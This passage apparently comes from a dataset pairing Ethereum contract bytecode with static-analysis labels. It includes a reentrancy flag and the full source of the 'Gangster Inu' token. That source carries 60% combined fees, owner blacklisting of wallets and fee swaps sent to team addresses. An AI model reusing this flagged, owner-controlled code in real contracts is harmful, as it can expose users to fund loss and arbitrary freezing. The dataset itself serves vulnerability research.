28060288152602001611e1b602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611337565b610cfc565b5060019392505050565b6000546001600160a01b031633146106b55760405162461bcd60e51b81526004016106ac90611ca0565b60405180910390fd5b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107005760405162461bcd60e51b81526004016106ac90611ca0565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061075357506013546001600160a01b0316336001600160a01b0316145b61075c57600080fd5b4761076681611371565b50565b6001600160a01b038116600090815260026020526040812054610613906113af565b6000546001600160a01b031633146107b55760405162461bcd60e51b81526004016106ac90611ca0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108295760405162461bcd60e51b81526004016106ac90611ca0565b64012a05f2008111156107665761084481633b9aca00611ceb565b60165550565b6000546001600160a01b031633146108745760405162461bcd60e51b81526004016106ac90611ca0565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108bc5760405162461bcd60e51b81526004016106ac90611ca0565b601855565b6000546001600160a01b031633146108eb5760405162461bcd60e51b81526004016106ac90611ca0565b600484111561094a5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b60648201526084016106ac565b60148211156109a65760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b60648201526084016106ac565b6004831115610a065760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b60648201526084016106ac565b6014811115610a635760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b60648201526084016106ac565b600893909355600a91909155600955600b55565b600061060f338484610e20565b6012546001600160a01b0316336001600160a01b03161480610ab957506013546001600160a01b0316336001600160a01b0316145b610ac257600080fd5b6000610acd30610769565b905061076681611433565b6000546001600160a01b03163314610b025760405162461bcd60e51b81526004016106ac90611ca0565b60005b82811015610b73578160056000868685818110610b2457610b24611d0a565b9050602002016020810190610b399190611b4b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b6b81611d20565b915050610b05565b50505050565b6000546001600160a01b03163314610ba35760405162461bcd60e51b81526004016106ac90611ca0565b6001600160a01b03166000908152601060205260409020805460ff19166001179055565b6000546001600160a01b03163314610bf15760405162461bcd60e51b81526004016106ac90611ca0565b64012a05f20081111561076657610c0c81633b9aca00611ceb565b60175550565b6000546001600160a01b03163314610c3c5760405162461bcd60e51b81526004016106ac90611ca0565b6001600160a01b038116610ca15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106ac565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d5e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106ac565b6001600160a01b038216610dbf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106ac565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e845760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106ac565b6001600160a01b038216610ee65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106ac565b60008111610f485760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106ac565b6000546001600160a01b03848116911614801590610f7457506000546001600160a01b03838116911614155b1561123057601554600160a01b900460ff1661100d576000546001600160a01b0384811691161461100d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016106ac565b60165481111561105f5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106ac565b6001600160a01b03821660009081526010602052604090205460ff16156110d45760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016106ac565b6015546001600160a01b0383811691161461115957601754816110f684610769565b6111009190611d3b565b106111595760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016106ac565b600061116430610769565b60185460165491925082101590821061117d5760165491505b8080156111945750601554600160a81b900460ff16155b80156111ae57506015546001600160a01b03868116911614155b80156111c35750601554600160b01b900460ff165b80156111e857506001600160a01b03851660009081526005602052604090205460ff16155b801561120d57506001600160a01b03841660009081526005602052604090205460ff16155b1561122d5761121b82611433565b47801561122b5761122b47611371565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061127257506001600160a01b03831660009081526005602052604090205460ff165b806112a457506015546001600160a01b038581169116148015906112a457506015546001600160a01b03848116911614155b156112b15750600061132b565b6015546001600160a01b0385811691161480156112dc57506014546001600160a01b03848116911614155b156112ee57600854600c55600954600d555b6015546001600160a01b03848116911614801561131957506014546001600160a01b03858116911614155b1561132b57600a54600c55600b54600d555b610b73848484846115bc565b6000818484111561135b5760405162461bcd60e51b81526004016106ac9190611a74565b5060006113688486611d53565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156113ab573d6000803e3d6000fd5b5050565b60006006548211156114165760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106ac565b60006114206115ea565b905061142c838261160d565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061147b5761147b611d0a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114cf57600080fd5b505afa1580156114e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115079190611d6a565b8160018151811061151a5761151a611d0a565b6001600160a01b0392831660209182029290920101526014546115409130911684610cfc565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611579908590600090869030904290600401611d87565b600060405180830381600087803b15801561159357600080fd5b505af11580156115a7573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115c9576115c961164f565b6115d484848461167d565b80610b7357610b73600e54600c55600f54600d55565b60008060006115f7611774565b9092509050611606828261160d565b9250505090565b600061142c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117b6565b600c5415801561165f5750600d54155b1561166657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061168f876117e4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116c19087611841565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116f09086611883565b6001600160a01b038916600090815260026020526040902055611712816118e2565b61171c848361192c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161176191815260200190565b60405180910390a3505050505050505050565b6006546000908190686c6b935b8bbd400000611790828261160d565b8210156117ad57505060065492686c6b935b8bbd40000092509050565b90939092509050565b600081836117d75760405162461bcd60e51b81526004016106ac9190611a74565b5060006113688486611df8565b60008060008060008060008060006118018a600c54600d54611950565b92509250925060006118116115ea565b905060008060006118248e8787876119a5565b919e509c509a509598509396509194505050505091939550919395565b600061142c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611337565b6000806118908385611d3b565b90508381101561142c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106ac565b60006118ec6115ea565b905060006118fa83836119f5565b306000908152600260205260409020549091506119179082611883565b30600090815260026020526040902055505050565b6006546119399083611841565b6006556007546119499082611883565b6007555050565b600080808061196a606461196489896119f5565b9061160d565b9050600061197d60646119648a896119f5565b905060006119958261198f8b86611841565b90611841565b9992985090965090945050505050565b60008080806119b488866119f5565b905060006119c288876119f5565b905060006119d088886119f5565b905060006119e28261198f8686611841565b939b939a50919850919650505050505050565b600082611a0457506000610613565b6000611a108385611ceb565b905082611a1d8583611df8565b1461142c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106ac565b600060208083528351808285015260005b81811015611aa157858101830151858201604001528201611a85565b81811115611ab3576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461076657600080fd5b60008060408385031215611af157600080fd5b8235611afc81611ac9565b946020939093013593505050565b600080600060608486031215611b1f57600080fd5b8335611b2a81611ac9565b92506020840135611b3a81611ac9565b929592945050506040919091013590565b600060208284031215611b5d57600080fd5b813561142c81611ac9565b80358015158114611b7857600080fd5b919050565b600060208284031215611b8f57600080fd5b61142c82611b68565b600060208284031215611baa57600080fd5b5035919050565b60008060008060808587031215611bc757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611bf857600080fd5b833567ffffffffffffffff80821115611c1057600080fd5b818601915086601f830112611c2457600080fd5b813581811115611c3357600080fd5b8760208260051b8501011115611c4857600080fd5b602092830195509350611c5e9186019050611b68565b90509250925092565b60008060408385031215611c7a57600080fd5b8235611c8581611ac9565b91506020830135611c9581611ac9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615611d0557611d05611cd5565b500290565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611d3457611d34611cd5565b5060010190565b60008219821115611d4e57611d4e611cd5565b500190565b600082821015611d6557611d65611cd5565b500390565b600060208284031215611d7c57600080fd5b815161142c81611ac9565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611dd75784516001600160a01b031683529383019391830191600101611db2565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e1557634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200b69db12185e2f2bf2cf9dda322746354ac5c698131d1bf05cc54a406e03c6e064736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
3,156
0x8e5540d6c6093a527e4aaaa241b4b62de30ecf1b
/** *Submitted for verification at Etherscan.io on 2021-05-26 */ /* 🚀 🐕 https://t.me/Ginutoken */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GINU is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = 'Gangster Inu'; string private constant _symbol = 'GINU'; uint8 private constant _decimals = 9; uint256 private _taxFee = 30; uint256 private _teamFee = 30; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 3500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161e565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117cd565b6040518082815260200191505060405180910390f35b60606040518060400160405280600c81526020017f47616e677374657220496e750000000000000000000000000000000000000000815250905090565b600061076b610764611854565b848461185c565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a53565b6108548461079f611854565b61084f85604051806060016040528060288152602001613d0c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611854565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227e9092919063ffffffff16565b61185c565b600190509392505050565b610867611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffff